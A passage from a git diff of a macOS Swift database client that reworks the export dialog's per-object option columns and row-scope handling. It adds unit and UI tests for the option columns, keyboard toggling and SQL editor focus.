+            arriving: unloaded?.arrivingOptionValues ?? [:]
+        )
+    }
+
+    internal func optionState(ofColumn index: Int, under node: ExportOutlineNode) -> NSControl.StateValue? {
+        let values = optionValues(ofColumn: index, under: node)
+        guard !values.isEmpty else { return nil }
+        if values.allSatisfy({ $0 }) { return .on }
+        return values.contains(true) ? .mixed : .off
+    }
+
+    // Never selects: on a container with nothing ticked it sets what each object carries once ticked.
+    internal func toggleOption(_ index: Int, under node: ExportOutlineNode) {
+        guard let state = optionState(ofColumn: index, under: node) else { return }
+        let turningOn = state != .on
+        let options = owner.options
+        let ids = Set(objects(under: node).filter { options.supports(columnAt: index, kind: $0.kind) }.map(\.id))
+        let unloaded = unloadedDatabase(at: node).flatMap { database in
+            database.unloadedKinds.contains { options.supports(columnAt: index, kind: $0) } ? database : nil
+        }
+        var reloading: Set<String> = []
+        if let unloaded { reloading.insert("db:\(unloaded.id.uuidString)") }
+        mutateDatabases(touching: ids, reloading: reloading) { databases in
+            databases = databases.settingOption(index, to: turningOn, objectIDs: ids, arrivingIn: unloaded?.id)
+        }
+    }
+
     private func setSelection(_ isSelected: Bool, databaseID: UUID, objectID: UUID) {
         mutateDatabases(touching: [objectID]) { databases in
             guard let databaseIndex = databases.firstIndex(where: { $0.id == databaseID }),
@@ -461,10 +612,10 @@ internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSou
     /// A row selected with every one of its options off would be counted as selected and export
     /// nothing, so selecting it restores the format's defaults for the kinds that support them.
     private func normalizeOptions(for ids: Set<UUID>) {
-        let columns = optionColumns
+        let columns = owner.options.columns
         guard !columns.isEmpty else { return }
-        let defaults = defaultOptionValues
-        let supports = supportsOption
+        let defaults = owner.options.defaultValues
+        let supports = owner.options.supports
         mutateDatabases(touching: ids) { databases in
             for databaseIndex in databases.indices {
                 for objectIndex in databases[databaseIndex].objects.indices
@@ -483,13 +634,7 @@ internal final class ExportObjectTreeCoordinator: NSObject, NSOutlineViewDataSou
 
     private func setOption(_ index: Int, to value: Bool, databaseID: UUID, objectID: UUID) {
         mutateDatabases(touching: [objectID]) { databases in
-            guard let databaseIndex = databases.firstIndex(where: { $0.id == databaseID }),
-                  let objectIndex = databases[databaseIndex].objects.firstIndex(where: { $0.id == objectID }),
-                  databases[databaseIndex].objects[objectIndex].optionValues.indices.contains(index)
-            else { return }
-            databases[databaseIndex].objects[objectIndex].optionValues[index] = value
-            databases[databaseIndex].objects[objectIndex].isSelected =
-                databases[databaseIndex].objects[objectIndex].optionValues.contains(true)
+            databases = databases.settingOption(index, to: value, objectIDs: [objectID])
         }
     }
 
diff --git a/apple/TablePro/Views/Export/ExportTreeBuilder.swift b/apple/TablePro/Views/Export/ExportTreeBuilder.swift
index 00d3cf425e..eeaf5bfc78 100644
--- a/apple/TablePro/Views/Export/ExportTreeBuilder.swift
+++ b/apple/TablePro/Views/Export/ExportTreeBuilder.swift
@@ -150,6 +150,7 @@ struct ExportRowSnapshot {
     let kind: PluginExportObjectKind
     let isSelected: Bool
     let optionValues: [Bool]
+    var rowScope: PluginExportRowScope = .unrestricted
 }
 
 /// Builds the export dialog's container tree.
@@ -191,7 +192,8 @@ struct ExportTreeBuilder {
                         container: database.name,
                         kind: object.kind,
                         isSelected: object.isSelected,
-                        optionValues: object.optionValues
+                        optionValues: object.optionValues,
+                        rowScope: object.rowScope
                     )
             }
         }
@@ -443,7 +445,8 @@ struct ExportTreeBuilder {
                 inContainer: containerRef,
                 isCurrentContainer: isCurrentContainer
             ),
-            optionValues: priorRow?.optionValues ?? []
+            optionValues: priorRow?.optionValues ?? [],
+            rowScope: priorRow?.rowScope ?? .unrestricted
         )
     }
 }
diff --git a/apple/TableProTests/Models/ExportOptionColumnTests.swift b/apple/TableProTests/Models/ExportOptionColumnTests.swift
new file mode 100644
index 0000000000..e9fc462552
--- /dev/null
+++ b/apple/TableProTests/Models/ExportOptionColumnTests.swift
@@ -0,0 +1,219 @@
+//
+//  ExportOptionColumnTests.swift
+//  TableProTests
+//
+
+import Foundation
+@testable import TablePro
+import TableProPluginKit
+import Testing
+
+extension ExportOptionLayout {
+    static var sqlForTests: ExportOptionLayout {
+        ExportOptionLayout(
+            columns: [
+                PluginExportOptionColumn(id: "structure", label: "Structure", width: 56),
+                PluginExportOptionColumn(id: "drop", label: "Drop", width: 44),
+                PluginExportOptionColumn(id: "data", label: "Data", width: 44)
+            ],
+            defaultValues: [true, true, true],
+            readsRows: true
+        ) { columnId, kind in
+            switch columnId {
+            case "data": return kind.carriesRows
+            case "drop": return kind != .grant
+            default: return true
+            }
+        }
+    }
+}
+
+struct ExportOptionColumnTests {
+    private let layout = ExportOptionLayout.sqlForTests
+
+    private func table(_ name: String, selected: Bool = true, _ values: [Bool] = [true, true, true]) -> ExportObjectItem {
+        ExportObjectItem(name: name, kind: .table, isSelected: selected, optionValues: values)
+    }
+
+    @Test("A column's values come from the objects whose kind has it")
+    func valuesSkipUnsupportedKinds() {
+        let objects = [
+            table("users", [true, true, false]),
+            ExportObjectItem(name: "recalc", kind: .routine, isSelected: true, optionValues: [true, true, false])
+        ]
+        #expect(layout.values(ofColumn: 2, in: objects) == [false])
+        #expect(layout.values(ofColumn: 1, in: objects) == [true, true])
+    }
+
+    @Test("No object with the column gives no values, so the container leaves the slot blank")
+    func noSupportingObjectGivesNoValues() {
+        let routines = [ExportObjectItem(name: "recalc", kind: .routine, optionValues: [true, true, false])]
+        #expect(layout.values(ofColumn: 2, in: routines).isEmpty)
+    }
+
+    @Test("Unread kinds count with the value they will arrive with")
+    func unreadKindsCountWithTheirArrivingValue() {
+        let objects = [table("users", [true, false, true])]
+        #expect(layout.values(ofColumn: 1, in: objects, unloadedKinds: [.routine]) == [false, true])
+        #expect(layout.values(ofColumn: 1, in: objects, unloadedKinds: [.routine], arriving: [1: false]) == [false, false])
+        #expect(layout.values(ofColumn: 2, in: objects, unloadedKinds: [.routine]) == [true])
+    }
+
+    @Test("Turning a column off keeps the objects that still write something selected")
+    func columnOffKeepsSelection() {
+        let databases = [ExportDatabaseItem(name: "app", objects: [table("users"), table("orders")])]
+        let ids = Set(databases[0].objects.map(\.id))
+
+        let updated = databases.settingOption(2, to: false, objectIDs: ids)
+
+        #expect(updated[0].objects.allSatisfy { $0.optionValues == [true, true, false] && $0.isSelected })
+    }
+
+    @Test("A selected object left with no option on is deselected")
+    func lastOptionOffDeselects() {
+        let databases = [ExportDatabaseItem(name: "app", objects: [table("users", [false, false, true])])]
+
+        let updated = databases.settingOption(2, to: false, objectIDs: [databases[0].objects[0].id])
+
+        #expect(updated[0].objects[0].optionValues == [false, false, false])
+        #expect(!updated[0].objects[0].isSelected)
+    }
+
+    @Test("A column write never selects, and an unticked object keeps the value for when it is ticked")
+    func columnWriteNeverSelects() {
+        let databases = [ExportDatabaseItem(name: "app", objects: [table("users", selected: false)])]
+
+        let updated = databases.settingOption(2, to: false, objectIDs: [databases[0].objects[0].id])
+
+        #expect(!updated[0].objects[0].isSelected)
+        #expect(updated[0].objects[0].optionValues == [true, true, false])
+    }
+
+    @Test("A column write reaches only the objects it names")
+    func columnWriteReachesOnlyNamedObjects() {
+        let databases = [ExportDatabaseItem(name: "app", objects: [table("users"), table("orders")])]
+
+        let updated = databases.settingOption(2, to: false, objectIDs: [databases[0].objects[0].id])
+
+        #expect(updated[0].objects[1].optionValues == [true, true, true])
+    }
+
+    @Test("A container with unread kinds keeps the value for them, and only that container")
+    func arrivingValueIsKeptPerContainer() {
+        let databases = [
+            ExportDatabaseItem(name: "public", objects: [table("users")]),
+            ExportDatabaseItem(name: "sales", objects: [table("orders")], unloadedKinds: [.routine])
+        ]
+
+        let updated = databases.settingOption(1, to: false, objectIDs: [], arrivingIn: databases[1].id)
+
+        #expect(updated[0].arrivingOptionValues.isEmpty)
+        #expect(updated[1].arrivingOptionValues == [1: false])
+    }
+
+    @Test("Arrivals take the container's values over the format's defaults, for the columns their kind has")
+    func arrivalsTakeTheContainersValues() {
+        let routine = ExportObjectItem(name: "recalc", kind: .routine, isSelected: true, optionValues: [true, true, false])
+        let existing = table("users")
+        let database = ExportDatabaseItem(name: "sales", objects: [existing, routine])
+
+        let updated = database.applyingOptionValues([1: false, 2: true], toObjects: [routine.id], layout: layout)
+
+        #expect(updated.objects[0].optionValues == [true, true, true])
+        #expect(updated.objects[1].optionValues == [true, false, false])
+        #expect(updated.objects[1].isSelected)
+    }
+
+    @Test("An arrival left with nothing to write arrives unselected")
+    func arrivalWithNothingOnIsDeselected() {
+        let routine = ExportObjectItem(name: "recalc", kind: .routine, isSelected: true, optionValues: [true, true, false])
+        let database = ExportDatabaseItem(name: "sales", objects: [routine])
+
+        let updated = database.applyingOptionValues([0: false, 1: false], toObjects: [routine.id], layout: layout)
+
+        #expect(!updated.objects[0].isSelected)
+    }
+
+    @Test("The merge consumes the arriving values, a reload keeps them and a format change clears them")
+    func arrivingValuesLifecycle() {
+        var database = ExportDatabaseItem(name: "sales", objects: [table("orders")], unloadedKinds: [.routine])
+        database.arrivingOptionValues = [1: false]
+
+        #expect(database.withID(UUID()).arrivingOptionValues == [1: false])
+        #expect(database.mergingLoadedObjects([]).arrivingOptionValues.isEmpty)
+        #expect([database].resettingOptionValues(to: [true, true, true])[0].arrivingOptionValues.isEmpty)
+    }
+
+    @Test("Arrivals take the kept values after the format's defaults fill in their empty lists")
+    func mergeAppliesKeptValuesAfterNormalizing() throws {
+        let orders = table("orders")
+        var database = ExportDatabaseItem(name: "sales", objects: [orders], unloadedKinds: [.routine, .view])
+        database.selectsLoadedObjects = true
+        database.arrivingOptionValues = [1: false]
+        let loaded = [
+            ExportObjectItem(name: "recalc", kind: .routine),
+            ExportObjectItem(name: "active_orders", kind: .view)
+        ]
+
+        let merged = try #require(database.mergingLoadedObjects(loaded, layout: layout))
+
+        #expect(merged.objects[0].optionValues == [true, true, true])
+        #expect(merged.objects.dropFirst().allSatisfy { $0.optionValues == [true, false, false] && $0.isSelected })
+        #expect(merged.arrivingOptionValues.isEmpty)
+    }
+
+    @Test("A tick that skipped an object writing nothing still brings the unread kinds in selected")
+    func arrivalsSelectedPastAnAllOffObject() throws {
+        var database = ExportDatabaseItem(
+            name: "sales",
+            objects: [table("orders"), ExportObjectItem(name: "v", kind: .view, optionValues: [false, false, false])],
+            unloadedKinds: [.routine]
+        )
+        database.selectsLoadedObjects = true
+
+        let merged = try #require(database.mergingLoadedObjects([ExportObjectItem(name: "recalc", kind: .routine)], layout: layout))
+
+        #expect(merged.objects.first { $0.name == "recalc" }?.isSelected == true)
+        #expect(merged.objects.first { $0.name == "v" }?.isSelected == false)
+    }
+
+    @Test("A read that finds nothing leaves no container")
+    func mergeOfNothingIsNil() {
+        let database = ExportDatabaseItem(name: "empty", objects: [], unloadedKinds: [.routine])
+        #expect(database.mergingLoadedObjects([], layout: layout) == nil)
+    }
+
+    @Test("Narrowing records the kinds that are left, so widening again reads them back")
+    func narrowThenWidenReloads() {
+        let sqlKinds: Set<PluginExportObjectKind> = [.table, .view, .routine, .trigger]
+        let csvKinds: Set<PluginExportObjectKind> = [.table, .view]
+
+        let toCSV = ExportKindReconciliation.next(loadedKinds: sqlKinds, wanted: csvKinds)
+        #expect(toCSV == .narrowed(loadedKinds: csvKinds))
+        guard case .narrowed(let left) = toCSV else { return }
+        #expect(ExportKindReconciliation.next(loadedKinds: left, wanted: sqlKinds) == .reload)
+    }
+
+    @Test("Nothing loaded yet means the load in flight decides the kinds")
+    func reconcileBeforeTheFirstLoadDoesNothing() {
+        #expect(ExportKindReconciliation.next(loadedKinds: [], wanted: [.table]) == .unchanged)
+        #expect(ExportKindReconciliation.next(loadedKinds: [.table], wanted: [.table]) == .unchanged)
+    }
+
+    @Test("A profile's options survive being applied over a tree reset for its format")
+    func profileKeepsItsOptions() {
+        let users = table("users", selected: false)
+        let profile = ExportProfile(name: "Schema only", formatId: "sql", entries: [
+            ExportProfile.Entry(
+                container: "app", name: "users", kind: .table,
+                optionValues: [true, false, false], rowScope: .unrestricted
+            )
+        ])
+        let reset = [ExportDatabaseItem(name: "app", objects: [users])].resettingOptionValues(to: layout.defaultValues)
+
+        let applied = reset.applyingProfile(profile, layout: layout, databaseType: .postgresql)
+
+        #expect(applied[0].objects[0].isSelected)
+        #expect(applied[0].objects[0].optionValues == [true, false, false])
+    }
+}
diff --git a/apple/TableProTests/ViewModels/BackupScopeModelTests.swift b/apple/TableProTests/ViewModels/BackupScopeModelTests.swift
index 635db32703..8e345ee86e 100644
--- a/apple/TableProTests/ViewModels/BackupScopeModelTests.swift
+++ b/apple/TableProTests/ViewModels/BackupScopeModelTests.swift
@@ -106,6 +106,27 @@ struct BackupScopeModelTests {
         #expect(scopes[0].scope.objects.map(\.name) == ["carts"])
     }
 
+    @Test("Space over a database and its objects unticks them once instead of flipping the objects back")
+    func spaceOverNestedRowsActsOnce() {
+        let rows = [row("sales", selected: true, objects: [("orders", true), ("carts", true)])]
+        let toggled = BackupScopeModel.toggling(
+            [.database("sales"), .object("orders", database: "sales"), .object("carts", database: "sales")],
+            in: rows
+        )
+        #expect(!toggled[0].isSelected)
+        #expect(toggled[0].objects.allSatisfy { !$0.isSelected })
+    }
+
+    @Test("Space over rows in different states turns them all on")
+    func spaceOverMixedSelectionTurnsAllOn() {
+        let rows = [
+            row("sales", selected: true, objects: [("orders", true)]),
+            row("billing", selected: false)
+        ]
+        let toggled = BackupScopeModel.toggling([.database("sales"), .database("billing")], in: rows)
+        #expect(toggled.allSatisfy { $0.isSelected })
+    }
+
     @Test("The footer counts files for a run and objects for a narrowed one")
     func summaryText() {
         let whole = [row("sales", selected: true)]
diff --git a/apple/TableProTests/Views/Editor/SQLEditorFocusClaimTests.swift b/apple/TableProTests/Views/Editor/SQLEditorFocusClaimTests.swift
new file mode 100644
index 0000000000..14e7011437
--- /dev/null
+++ b/apple/TableProTests/Views/Editor/SQLEditorFocusClaimTests.swift
@@ -0,0 +1,85 @@
+// Query tabs share one editor, so a new tab's focus claim reaches an editor that is already in the window.
+
+import AppKit
+import SwiftUI
+import TableProEditorKit
+import TableProTestSupport
+import Testing
+
+@testable import TablePro
+
+@MainActor
+struct SQLEditorFocusClaimTests {
+    private final class Model {
+        var text = "SELECT 1;"
+        var cursorPositions: [CursorPosition] = []
+    }
+
+    private final class FocusableView: NSView {
+        override var acceptsFirstResponder: Bool { true }
+    }
+
+    private func input(_ model: Model, tabID: UUID, claimFocus: Bool) -> SQLEditorInput {
+        var input = SQLEditorInput(
+            text: Binding(get: { model.text }, set: { model.text = $0 }),
+            cursorPositions: Binding(get: { model.cursorPositions }, set: { model.cursorPositions = $0 }),
+            databaseType: .sqlite,
+            tabID: tabID
+        )
+        input.claimFocusOnAppear = claimFocus
+        return input
+    }
+
+    private func mount(_ editor: SQLEditorController) -> (NSWindow, FocusableView) {
+        let window = NSWindow(
+            contentRect: NSRect(x: 0, y: 0, width: 600, height: 400),
+            styleMask: [.titled],
+            backing: .buffered,
+            defer: false
+        )
+        window.isReleasedWhenClosed = false
+        let content = NSView(frame: NSRect(x: 0, y: 0, width: 600, height: 400))
+        let sidebar = FocusableView(frame: NSRect(x: 0, y: 0, width: 200, height: 400))
+        let editorView = editor.textViewController.view
+        editorView.frame = NSRect(x: 200, y: 0, width: 400, height: 400)
+        content.addSubview(sidebar)
+        content.addSubview(editorView)
+        window.contentView = content
+        return (window, sidebar)
+    }
+
+    private func showEditorWithFocusElsewhere(_ model: Model) async throws -> (SQLEditorController, NSWindow, NSView) {
+        let editor = SQLEditorController(input: input(model, tabID: UUID(), claimFocus: false))
+        let (window, sidebar) = mount(editor)
+        let textView = try #require(editor.textViewController.textView)
+        try await waitUntil { window.firstResponder === textView }
+        _ = window.makeFirstResponder(sidebar)
+        try #require(window.firstResponder === sidebar)
+        return (editor, window, textView)
+    }
+
+    @Test("A new tab that claims focus takes it from the view holding it, in an editor already shown")
+    func claimTakesFocusInAShownEditor() async throws {
+        let model = Model()
+        let (editor, window, textView) = try await showEditorWithFocusElsewhere(model)
+        defer { editor.teardown() }
+        defer { window.orderOut(nil) }
+
+        editor.apply(input(model, tabID: UUID(), claimFocus: true))
+
+        #expect(window.firstResponder === textView)
+    }
+
+    @Test("A tab shown without a claim leaves focus where it is")
+    func noClaimKeepsFocus() async throws {
+        let model = Model()
+        let (editor, window, _) = try await showEditorWithFocusElsewhere(model)
+        defer { editor.teardown() }
+        defer { window.orderOut(nil) }
+        let holder = window.firstResponder
+
+        editor.apply(input(model, tabID: UUID(), claimFocus: false))
+
+        #expect(window.firstResponder === holder)
+    }
+}
diff --git a/apple/TableProTests/Views/Export/ExportObjectTreeCoordinatorTests.swift b/apple/TableProTests/Views/Export/ExportObjectTreeCoordinatorTests.swift
index bf4219cfe5..5cbf4f0e35 100644
--- a/apple/TableProTests/Views/Export/ExportObjectTreeCoordinatorTests.swift
+++ b/apple/TableProTests/Views/Export/ExportObjectTreeCoordinatorTests.swift
@@ -20,7 +20,7 @@ struct ExportObjectTreeCoordinatorTests {
         let outlineView = NSOutlineView()
         var coordinator: ExportObjectTreeCoordinator?
 
-        init() {
+        init(options: ExportOptionLayout = .none) {
             let column = NSTableColumn(identifier: NSUserInterfaceItemIdentifier("ExportObjectColumn"))
             outlineView.addTableColumn(column)
             outlineView.outlineTableColumn = column
@@ -29,6 +29,7 @@ struct ExportObjectTreeCoordinatorTests {
             let view = ExportObjectTreeView(
                 databaseItems: Binding(get: { self.items }, set: { self.items = $0 }),
                 formatId: "sql",
+                options: options,
                 databaseType: .postgresql,
                 loadColumns: { _ in [] },
                 onNeedsObjects: { self.requests.append($0) }
@@ -54,6 +55,11 @@ struct ExportObjectTreeCoordinatorTests {
         func node(of identity: String) -> ExportOutlineNode? {
             row(of: identity).flatMap { outlineView.item(atRow: $0) as? ExportOutlineNode }
         }
+
+        func pressSpace(on node: ExportOutlineNode) {
+            outlineView.selectRowIndexes(IndexSet(integer: outlineView.row(forItem: node)), byExtendingSelection: false)
+            coordinator?.toggleSelectedRows()
+        }
     }
 
     private static func table(_ name: String, in schema: String) -> ExportObjectItem {
@@ -149,4 +155,220 @@ struct ExportObjectTreeCoordinatorTests {
 
         #expect(selectable == false)
     }
+
+    private static func sqlTree() -> ExportDatabaseItem {
+        ExportDatabaseItem(
+            name: "app",
+            objects: [
+                ExportObjectItem(name: "users", kind: .table, isSelected: true, optionValues: [true, true, true]),
+                ExportObjectItem(name: "orders", kind: .table, isSelected: true, optionValues: [true, true, true])
+            ],
+            isExpanded: true
+        )
+    }
+
+    @Test("A database's Data checkbox turns Data off for every table under it and keeps them selected")
+    func databaseOptionCheckboxSetsTheColumn() throws {
+        let harness = Harness(options: .sqlForTests)
+        let database = Self.sqlTree()
+        harness.apply([database])
+        let node = try #require(harness.node(of: "db:\(database.id.uuidString)"))
+
+        harness.coordinator?.toggleOption(2, under: node)
+
+        let updated = try #require(harness.items.first)
+        #expect(updated.objects.allSatisfy { $0.optionValues == [true, true, false] && $0.isSelected })
+    }
+
+    @Test("A mixed column turns on for every object on the first click")
+    func mixedColumnTurnsOn() throws {
+        let harness = Harness(options: .sqlForTests)
+        var database = Self.sqlTree()
+        database.objects[0].optionValues = [true, false, true]
+        harness.apply([database])
+        let node = try #require(harness.node(of: "db:\(database.id.uuidString)"))
+
+        harness.coordinator?.toggleOption(1, under: node)
+
+        let updated = try #require(harness.items.first)
+        #expect(updated.objects.allSatisfy { $0.optionValues == [true, true, true] })
+    }
+
+    @Test("A column set on a schema with unread kinds is kept for them")
+    func columnOnAPendingSchemaIsKeptForArrivals() throws {
+        let harness = Harness(options: .sqlForTests)
+        let (publicSchema, sales) = Self.realTree()
+        harness.apply([publicSchema, sales])
+        let node = try #require(harness.node(of: "db:\(sales.id.uuidString)"))
+
+        harness.coordinator?.toggleOption(1, under: node)
+
+        let updated = try #require(harness.items.first { $0.id == sales.id })
+        #expect(updated.arrivingOptionValues == [1: false])
+        #expect(harness.requests.isEmpty)
+    }
+
+    @Test("Space over a database and its tables unticks everything once instead of flipping it back")
+    func spaceOverNestedRowsActsOnce() throws {
+        let harness = Harness(options: .sqlForTests)
+        let database = Self.sqlTree()
+        harness.apply([database])
+        harness.outlineView.selectRowIndexes(IndexSet(integersIn: 0 ..< harness.outlineView.numberOfRows), byExtendingSelection: false)
+
+        harness.coordinator?.toggleSelectedRows()
+
+        let updated = try #require(harness.items.first)
+        #expect(updated.objects.allSatisfy { !$0.isSelected })
+    }
+
+    @Test("Each option column gets a real table column with a heading, and a format without columns has none")
+    func optionColumnsAreTableColumns() {
+        let withColumns = Harness(options: .sqlForTests)
+        withColumns.apply([Self.sqlTree()])
+        #expect(withColumns.outlineView.tableColumns.map(\.title).dropFirst() == ["Structure", "Drop", "Data"])
+        #expect(withColumns.outlineView.headerView != nil)
+
+        let without = Harness()
+        without.apply([Self.sqlTree()])
+        #expect(without.outlineView.tableColumns.count == 1)
+        #expect(without.outlineView.headerView == nil)
+    }
+
+    @Test("A group whose kind has no Data column leaves that cell empty")
+    func unsupportedColumnHasNoContainerState() throws {
+        let harness = Harness(options: .sqlForTests)
+        let database = ExportDatabaseItem(name: "app", objects: [
+            ExportObjectItem(name: "users", kind: .table, isSelected: true, optionValues: [true, true, true]),
+            ExportObjectItem(name: "recalc", kind: .routine, isSelected: true, optionValues: [true, true, false])
+        ])
+        harness.apply([database])
+        let routines = try #require(harness.node(of: "group:\(database.id.uuidString):\(PluginExportObjectKind.routine.rawValue)"))
+
+        #expect(harness.coordinator?.optionState(ofColumn: 2, under: routines) == nil)
+        #expect(harness.coordinator?.optionState(ofColumn: 1, under: routines) == .on)
+    }
+
+    @Test("Clicking an object's checkbox only includes or excludes it, whatever its options")
+    func objectCheckboxIsSelectionOnly() throws {
+        let harness = Harness(options: .sqlForTests)
+        var database = Self.sqlTree()
+        database.objects[0].optionValues = [true, false, false]
+        harness.apply([database])
+
+        harness.coordinator?.toggleObject(databaseID: database.id, objectID: database.objects[0].id)
+
+        let updated = try #require(harness.items.first?.objects.first)
+        #expect(!updated.isSelected)
+        #expect(updated.optionValues == [true, false, false])
+    }
+
+    /// Without it, Structure and Drop off before the tick handed views and routines the format's
+    /// defaults back, and a data-only export wrote their DDL.
+    @Test("Turning columns off before or after ticking the database gives the same export")
+    func clickOrderDoesNotChangeTheExport() throws {
+        func tree() -> ExportDatabaseItem {
+            ExportDatabaseItem(name: "app", objects: [
+                ExportObjectItem(name: "users", kind: .table, optionValues: [true, true, true]),
+                ExportObjectItem(name: "active_users", kind: .view, optionValues: [true, true, false])
+            ])
+        }
+        func export(_ steps: (Harness, ExportObjectTreeCoordinator, ExportOutlineNode) -> Void) throws -> [String] {
+            let harness = Harness(options: .sqlForTests)
+            let database = tree()
+            harness.apply([database])
+            let node = try #require(harness.node(of: "db:\(database.id.uuidString)"))
+            let coordinator = try #require(harness.coordinator)
+            steps(harness, coordinator, node)
+            let objects = try #require(harness.items.first).objects
+            return objects.filter { $0.isSelected }.map { "\($0.name)=\($0.optionValues)" }
+        }
+
+        let tickFirst = try export { harness, coordinator, node in
+            harness.pressSpace(on: node)
+            coordinator.toggleOption(0, under: node)
+            coordinator.toggleOption(1, under: node)
+        }
+        let tickLast = try export { harness, coordinator, node in
+            coordinator.toggleOption(0, under: node)
+            coordinator.toggleOption(1, under: node)
+            harness.pressSpace(on: node)
+        }
+
+        #expect(tickFirst == ["users=[false, false, true]"])
+        #expect(tickLast == tickFirst)
+    }
+
+    @Test("A group whose every option is off cannot be ticked, so its objects stay out")
+    func allOffGroupStaysOut() throws {
+        let harness = Harness(options: .sqlForTests)
+        let database = ExportDatabaseItem(name: "app", objects: [
+            ExportObjectItem(name: "users", kind: .table, isSelected: true, optionValues: [true, true, true]),
+            ExportObjectItem(name: "recalc", kind: .routine, optionValues: [true, true, false])
+        ])
+        harness.apply([database])
+        let identity = "group:\(database.id.uuidString):\(PluginExportObjectKind.routine.rawValue)"
+        let routines = try #require(harness.node(of: identity))
+        let coordinator = try #require(harness.coordinator)
+        coordinator.toggleOption(0, under: routines)
+        coordinator.toggleOption(1, under: routines)
+
+        harness.pressSpace(on: try #require(harness.node(of: identity)))
+
+        let routine = try #require(harness.items.first?.objects.first { $0.kind == .routine })
+        #expect(!routine.isSelected)
+        #expect(!coordinator.selectionIsEnabled(for: routines))
+    }
+
+    @Test("A group that cannot be ticked does not keep Space from unticking the rows selected with it")
+    func spaceIgnoresAnAllOffGroup() throws {
+        let harness = Harness(options: .sqlForTests)
+        let database = ExportDatabaseItem(name: "app", objects: [
+            ExportObjectItem(name: "users", kind: .table, isSelected: true, optionValues: [true, true, true]),
+            ExportObjectItem(name: "recalc", kind: .routine, optionValues: [false, false, false])
+        ])
+        harness.apply([database])
+        let tables = try #require(harness.row(of: "group:\(database.id.uuidString):\(PluginExportObjectKind.table.rawValue)"))
+        let routines = try #require(harness.row(of: "group:\(database.id.uuidString):\(PluginExportObjectKind.routine.rawValue)"))
+        harness.outlineView.selectRowIndexes(IndexSet([tables, routines]), byExtendingSelection: false)
+
+        harness.coordinator?.toggleSelectedRows()
+
+        let users = try #require(harness.items.first?.objects.first { $0.name == "users" })
+        #expect(!users.isSelected)
+    }
+
+    @Test("Space ticks an object whose options are all off, as a click does, back to the defaults")
+    func spaceTicksAnAllOffObject() throws {
+        let harness = Harness(options: .sqlForTests)
+        var database = Self.sqlTree()
+        database.objects[0].isSelected = false
+        database.objects[0].optionValues = [false, false, false]
+        harness.apply([database])
+        let identity = "obj:\(database.id.uuidString):\(database.objects[0].id.uuidString)"
+
+        harness.pressSpace(on: try #require(harness.node(of: identity)))
+
+        let users = try #require(harness.items.first?.objects.first)
+        #expect(users.isSelected)
+        #expect(users.optionValues == [true, true, true])
+    }
+
+    @Test("Space on a group that cannot be ticked and a row under it still ticks the row")
+    func spaceReachesARowUnderADisabledGroup() throws {
+        let harness = Harness(options: .sqlForTests)
+        let database = ExportDatabaseItem(name: "app", objects: [
+            ExportObjectItem(name: "users", kind: .table, isSelected: true, optionValues: [true, true, true]),
+            ExportObjectItem(name: "recalc", kind: .routine, optionValues: [false, false, false])
+        ])
+        harness.apply([database])
+        let group = try #require(harness.row(of: "group:\(database.id.uuidString):\(PluginExportObjectKind.routine.rawValue)"))
+        let routine = try #require(harness.row(of: "obj:\(database.id.uuidString):\(database.objects[1].id.uuidString)"))
+        harness.outlineView.selectRowIndexes(IndexSet([group, routine]), byExtendingSelection: false)
+
+        harness.coordinator?.toggleSelectedRows()
+
+        let recalc = try #require(harness.items.first?.objects.first { $0.name == "recalc" })
+        #expect(recalc.isSelected)
+        #expect(recalc.optionValues == [true, true, false])
+    }
 }
diff --git a/apple/TableProTests/Views/Export/ExportTreeBuilderTests.swift b/apple/TableProTests/Views/Export/ExportTreeBuilderTests.swift
index 82b18e660c..96d014b5b5 100644
--- a/apple/TableProTests/Views/Export/ExportTreeBuilderTests.swift
+++ b/apple/TableProTests/Views/Export/ExportTreeBuilderTests.swift
@@ -395,6 +395,26 @@ struct ExportTreeBuilderTests {
         #expect(archive.objects.first { $0.name == "purge" }?.isSelected == true)
     }
 
+    @Test("A reload keeps a table's row scope, so a format round trip cannot widen what it exports")
+    func reloadKeepsRowScope() async throws {
+        let builder = Self.builder(
+            typeId: Self.schemaTypeId,
+            preselection: .tables(names: [], scope: nil),
+            reader: Self.threeSchemaReader(),
+            supportedObjectKinds: Self.sqlKinds
+        )
+        var before = try await builder.build(priorRows: [:])
+        let databaseIndex = try #require(before.firstIndex { !$0.objects.isEmpty })
+        let scope = PluginExportRowScope(filter: "total > 10", rowLimit: 5)
+        before[databaseIndex].objects[0].rowScope = scope
+        let name = before[databaseIndex].objects[0].name
+
+        let after = try await builder.build(priorRows: ExportTreeBuilder.snapshots(of: before))
+
+        let restored = try #require(after.first { $0.name == before[databaseIndex].name }?.objects.first { $0.name == name })
+        #expect(restored.rowScope == scope)
+    }
+
     @Test("A schema holding the preselected table is expanded even when it is not the default one")
     func preselectedSchemaExpands() async throws {
         let reader = FakeReader(
diff --git a/apple/TableProUITests/ExportUITests.swift b/apple/TableProUITests/ExportUITests.swift
index 816fe2da1b..63207dd5d0 100644
--- a/apple/TableProUITests/ExportUITests.swift
+++ b/apple/TableProUITests/ExportUITests.swift
@@ -77,6 +77,67 @@ final class ExportUITests: UITestCase {
         XCTAssertFalse(markdown.contains("North"), "A data dictionary must hold no row")
     }
 
+    func testExportingEveryTableAsStructureOnly() throws {
+        let launch = try launchWithFixture()
+        let window = launch.window
+        let app = launch.app
+        let destination = try XCTUnwrap(sandboxRoot)
+        let exported = destination.appendingPathComponent("schema.sql")
+
+        _ = openFromObjectBrowser("album", in: launch)
+        app.typeShortcut(.export)
+
+        let sheet = window.children(matching: .sheet).firstMatch
+        XCTAssertTrue(sheet.staticTexts["1 table to export"].waitToExist(timeout: 30), "Export must open")
+        let format = element(sheet.popUpButtons, labelEndingWith: "Format")
+        XCTAssertTrue(format.waitToExist(timeout: 10), "The export sheet must offer a format menu")
+        if (format.value as? String) != "SQL" {
+            format.click()
+            let sql = app.menuItems["SQL"].firstMatch
+            XCTAssertTrue(sql.waitToExist(timeout: 10), "SQL must be an export format")
+            sql.click()
+        }
+        XCTAssertTrue(waitForPredicate(timeout: 10) { (format.value as? String) == "SQL" }, "The format must be SQL")
+
+        let tree = sheet.outlines.firstMatch
+        XCTAssertTrue(tree.waitToExist(timeout: 10), "The export tree must show")
+        // The fixture's database row is named after its file's path.
+        let database = tree.checkBoxes.matching(
+            NSPredicate(format: "label BEGINSWITH %@ AND label ENDSWITH %@", "/", ".sqlite")
+        ).firstMatch
+        XCTAssertTrue(database.waitToExist(timeout: 10), "The database row must offer its own checkbox")
+        database.click()
+        XCTAssertTrue(
